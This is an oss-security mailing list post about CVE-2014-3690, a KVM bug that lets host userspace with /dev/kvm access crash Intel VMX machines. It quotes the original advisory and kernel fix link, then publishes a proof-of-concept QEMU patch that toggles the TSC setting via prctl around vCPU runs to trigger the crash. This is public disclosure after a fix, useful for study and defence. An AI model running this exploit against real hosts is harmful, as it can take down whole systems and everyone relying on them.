Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 29 Oct 2014 16:27:59 -0700
From: Andy Lutomirski <luto@...capital.net>
To: oss-security@...ts.openwall.com
Subject: Re: CVE-2014-3690: KVM DoS triggerable by malicious host userspace

On 10/21/2014 01:48 PM, Andy Lutomirski wrote:
> [sorry for somewhat late notice -- I didn't notice that the patch was
> public until just now]
> 
> KVM has a bug that allows malicious host user code that can open the
> /dev/kvm device on a VMX (Intel) machine to DoS the system.  (In my
> proof of concept, the DoS is a rather spectacular failure of the whole
> system, although I haven't checked whether the kernel panics.  A more
> refined exploit *might* be able to kill targetted user processes, but
> it would be tricky and is subject to possibly unavoidable races that
> are likely to take down the whole system.)
> 
> This is *not* triggerable by a guest, although a guest that can
> compromise its host QEMU could use this bug to take down everything
> else running on the host.
> 
> I would guess that all kernels that support VMX are vulnerable, but I
> haven't tested old kernels.
> 
> The fix is here:
> 
> https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d974baa398f34393db76be45f7d4d04fbdbb4a0a
> 
> PoC available upon request, and I'll post it publicly in a few days,
> because it's kind of fun to watch the fireworks.
> 
> --Andy
> 

As promised, here's the exploit.

I didn't really feel like writing a self-contained test case to
initialize a KVM vCPU, so I turned QEMU into an exploit instead.  Apply
the attached patch to QEMU, build it, and run it (qemu-system-x86_64
-machine accel=kvm).

--Andy

>From 3689fa9aa528efc759ce9089454d1185d9bf29ae Mon Sep 17 00:00:00 2001
Message-Id: <3689fa9aa528efc759ce9089454d1185d9bf29ae.1412696684.git.luto@...capital.net>
From: Andy Lutomirski <luto@...capital.net>
Date: Tue, 7 Oct 2014 08:44:20 -0700
Subject: [PATCH] Evil QEMU hack to exploit a KVM CR4 bug

Save all your work before running a patched QEMU :)
---
 kvm-all.c | 18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

diff --git a/kvm-all.c b/kvm-all.c
index 4afcd0551bb2..2b4d4ace4d15 100644
--- a/kvm-all.c
+++ b/kvm-all.c
@@ -222,13 +222,15 @@ static int kvm_set_user_memory_region(KVMState *s, KVMSlot *slot)
     return kvm_vm_ioctl(s, KVM_SET_USER_MEMORY_REGION, &mem);
 }
 
+#include <sys/prctl.h>
 int kvm_init_vcpu(CPUState *cpu)
 {
     KVMState *s = kvm_state;
     long mmap_size;
     int ret;
 
-    DPRINTF("kvm_init_vcpu\n");
+    if (prctl(PR_SET_TSC, PR_TSC_SIGSEGV, 0, 0, 0) != 0)
+      printf("sad\n");
 
     ret = kvm_vm_ioctl(s, KVM_CREATE_VCPU, (void *)kvm_arch_vcpu_id(cpu));
     if (ret < 0) {
@@ -236,6 +238,11 @@ int kvm_init_vcpu(CPUState *cpu)
         goto err;
     }
 
+    if (prctl(PR_SET_TSC, PR_TSC_ENABLE, 0, 0, 0) != 0)
+      printf("sad\n");
+
+    printf("TSC on\n");
+
     cpu->kvm_fd = ret;
     cpu->kvm_state = s;
     cpu->kvm_vcpu_dirty = true;
@@ -1740,6 +1747,15 @@ int kvm_cpu_exec(CPUState *cpu)
         qemu_mutex_unlock_iothread();
 
         run_ret = kvm_vcpu_ioctl(cpu, KVM_RUN, 0);
+	{
+	  struct timespec ts = {0, 10000000};
+	  nanosleep(&ts, NULL);
+	  if (prctl(PR_SET_TSC, PR_TSC_SIGSEGV, 0, 0, 0) != 0)
+	    printf("sad\n");
+
+	  if (prctl(PR_SET_TSC, PR_TSC_ENABLE, 0, 0, 0) != 0)
+	    printf("sad\n");
+	}
 
         qemu_mutex_lock_iothread();
         kvm_arch_post_run(cpu, run);
-- 
1.9.3


Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ